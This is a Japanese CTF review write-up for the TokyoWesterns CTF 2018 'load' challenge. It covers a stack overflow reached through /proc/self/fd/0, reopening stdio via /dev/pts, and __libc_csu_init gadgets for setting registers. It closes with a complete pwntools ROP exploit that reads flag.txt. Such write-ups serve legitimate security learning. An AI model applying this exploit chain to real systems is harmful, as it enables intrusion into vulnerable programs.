TokyoWesterns CTF 2018 load 復習
TokyoWesterns CTF 2018 load 復習
答えを見ながら復習。
実行してみるとどうもファイルを読み込んでるっぽい。 リモートホストで実行すると、flag.txtという名前のファイルが読み込める。
/proc/self/fd/0
がopenできるので、ファイルの代わりに標準入力を開くことができる。
ファイルの内容を読み込むときにmainでバッファオーバーフローしてるのでripが取れる。
がしかし、mainの最後で標準入出力が全部closeされるためフラグを出力させることができない。ここで詰まった。
Writeupを見ると、/dev/pts/?
で再度標準入出力を開けるらしい。詳しい仕組みはまだ分からない。
さらに、ROPのためにcsu_init
を利用する。
csu_init
について
http://inaz2.hatenablog.com/entry/2014/07/31/010158
ももいろテクノロジー様々、これによるとglibcの__libc_csu_init
を利用すると任意の3引数関数が呼び出せるらしい。
__libc_csu_init
の以下の部分が利用できる。
4005f0: 4c 89 fa mov rdx,r15 4005f3: 4c 89 f6 mov rsi,r14 4005f6: 44 89 ef mov edi,r13d 4005f9: 41 ff 14 dc call QWORD PTR [r12+rbx*8] 4005fd: 48 83 c3 01 add rbx,0x1 400601: 48 39 eb cmp rbx,rbp 400604: 75 ea jne 4005f0 <__libc_csu_init+0x50> 400606: 48 8b 5c 24 08 mov rbx,QWORD PTR [rsp+0x8] 40060b: 48 8b 6c 24 10 mov rbp,QWORD PTR [rsp+0x10] 400610: 4c 8b 64 24 18 mov r12,QWORD PTR [rsp+0x18] 400615: 4c 8b 6c 24 20 mov r13,QWORD PTR [rsp+0x20] 40061a: 4c 8b 74 24 28 mov r14,QWORD PTR [rsp+0x28] 40061f: 4c 8b 7c 24 30 mov r15,QWORD PTR [rsp+0x30] 400624: 48 83 c4 38 add rsp,0x38 400628: c3 ret
ただし、実際にコンパイルしてみたコードとは微妙に違う。
0x00400580 4c89ea mov rdx, r13 0x00400583 4c89f6 mov rsi, r14 0x00400586 4489ff mov edi, r15d 0x00400589 41ff14dc call qword [r12 + rbx*8] 0x0040058d 4883c301 add rbx, 1 0x00400591 4839eb cmp rbx, rbp 0x00400594 75ea jne 0x400580 0x00400596 4883c408 add rsp, 8 0x0040059a 5b pop rbx 0x0040059b 5d pop rbp 0x0040059c 415c pop r12 0x0040059e 415d pop r13 0x004005a0 415e pop r14 0x004005a2 415f pop r15 0x004005a4 c3 ret
loadだと以下のような感じになってる。実際にコンパイルした場合のコードと一致する。
400a50: 4c 89 ea mov rdx,r13 400a53: 4c 89 f6 mov rsi,r14 400a56: 44 89 ff mov edi,r15d 400a59: 41 ff 14 dc call QWORD PTR [r12+rbx*8] 400a5d: 48 83 c3 01 add rbx,0x1 400a61: 48 39 eb cmp rbx,rbp 400a64: 75 ea jne 400a50 <stdout@@GLIBC_2.2.5-0x2005d0> 400a66: 48 83 c4 08 add rsp,0x8 400a6a: 5b pop rbx 400a6b: 5d pop rbp 400a6c: 41 5c pop r12 400a6e: 41 5d pop r13 400a70: 41 5e pop r14 400a72: 41 5f pop r15 400a74: c3 ret
rdxへの値のセット
とりあえずloadの方でrdi, rsi rdxをセットする方法を考える。 次の手順でいけそう。
- 0x400a6aからスタートする。rbx, rbp, r12, r13, r14, r15に値が設定できる。
ret
で400a50に飛ぶ。ここでmov rdx,r13
でrdxに値が設定できる。 => r13 = rdx- rsiにr14が設定。 => r14 = rsi
- ediにr15dが設定される、これは使わない方が良いかもしれない。上位ビットが設定できない。
call QWORD PTR [r12+rbx*8]
が入るので、[r12 + rbx * 8] -> ret;
となるように調整する。 => [r12 + rbx * 8] -> ret;jne
でのジャンプがあるので、rbx + 1 == rbp
となるようにrbxを設定しておく。 => rbx + 1 == rbp- そのあとはスタックを消費するだけなので、適当にパディングすれば良い。
rdiをセットするガジェットはあったので、それを使えば問題ない。
Exploit
流れとしてはまず、/proc/self/fd/0
を開かせてバッファオーバーフローを引き起こす。
NXビットが立ってるのでROPする。
ROPでflag.txt
を開き、読み込み、出力することを目指す。
まず/dev/pts/?
を適当に指定し2回開くことで0と1のファイルディスクリプタ、つまりstdinとstdoutを設定する。
これでputsでstdoutに出力されるようになる。
次にflag.txt
を開く、これはfdが2になる。
その次にreadでbss領域にファイルの内容を読み込む。
最後はその読み込んだ内容を出力する。
/dev/pts/?
のopenがうまくいっていれば、フラグが表示される。
何回か繰り返すとうまくいく、だいたい0~3らしい。0でうまくいった。
最終的にExploitは以下のようになる。
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from pwn import * import time context.update(arch='amd64') exe = './pwn_load' def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote('pwn1.chal.ctf.westerns.tokyo', 34835) else: return process([exe] + argv, *a, **kw) # gdb gdbscript = ''' continue '''.format(**locals()) #=========================================================== # EXPLOIT GOES HERE #=========================================================== io = start() elf = ELF(exe) # file names stdin_path = '/proc/self/fd/0' pts_path = '/dev/pts/' + args.PTS flag_txt = 'flag.txt' # gadget pop_rdi = 0x00400a73 # pop rdi ; ret pop2_rsi = 0x00400a71 # pop rsi ; pop r15 ; ret ; csu_init1 = 0x400a50 # mov rdx,r13; move rsi,r14; ... csu_init2 = 0x400a6a # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret; ret = 0x004006a9 # ret # address main = 0x00400823 global_buf = 0x601040 bss = 0x601000 pts_path_addr = global_buf + len(stdin_path) + 1 flag_path_addr = global_buf + len(stdin_path) + 1 + len(pts_path) + 1 rbp = 0x7fffffffd720 def set_rdi(rdi_val): return p64(pop_rdi) + p64(rdi_val) def set_rdi_rsi(rdi_val, rsi_val): payload = set_rdi(rdi_val) payload += p64(pop2_rsi) payload += p64(rsi_val) payload += "A" * 8 # padding return payload def set_rdi_rsi_rdx(rdi_val, rsi_val, rdx_val): # r13 -> rdx, r14 -> rsi, [r12 + rbx * 8] -> ret, rbx + 1 == rbp dummy_val = 0x4141414141414141 rbx = rbp - 1 # this work unless rbx * 8 == addr trg = global_buf + len(stdin_path) + 1 + len(pts_path) + 1 + len( flag_txt) + 1 neg_r12 = trg - rbx * 8 mod = 0x10000000000000000 r12 = mod * (-neg_r12 // mod + 1) + neg_r12 # At this point, r12+rbx*8 points ret by reg overflow r13 = rdx_val r14 = rsi_val r15 = dummy_val # payload construction payload = p64(csu_init2) payload += p64(rbx) payload += p64(rbp) payload += p64(r12) payload += p64(r13) payload += p64(r14) payload += p64(r15) payload += p64(csu_init1) payload += p64(dummy_val) # for add rsp,0x8 payload += p64(dummy_val) # rbx payload += p64(dummy_val) # rbp payload += p64(dummy_val) # r12 payload += p64(dummy_val) # r13 payload += p64(dummy_val) # r14 payload += p64(dummy_val) # r15 payload += set_rdi(rdi_val) # can't set rdi but gadget exists! return payload # payload construction payload = 'A' * 0x30 + p64(rbp) # padding # call open pts => fd = 0 payload += set_rdi_rsi(pts_path_addr, constants.O_RDWR) # 0x2702 payload += p64(elf.plt['open']) # call open pts => fd 1 payload += set_rdi_rsi(pts_path_addr, constants.O_RDWR) # 0x2702 payload += p64(elf.plt['open']) # call open flag => fd 2 payload += set_rdi_rsi(flag_path_addr, constants.O_RDONLY) payload += p64(elf.plt['open']) # read flag to global by fgets payload += set_rdi_rsi_rdx(2, bss, 0x100) payload += p64(elf.plt['read']) # puts flag to pts payload += set_rdi(bss) payload += p64(elf.plt['puts']) print() if args.WAIT: time.sleep(5) io.sendline(stdin_path + '\0' + pts_path + '\0' + flag_txt + '\0' + p64(ret)) io.sendline('0') # offset 0 io.sendline(str(len(payload))) # payload length io.clean() io.sendline(payload) io.interactive()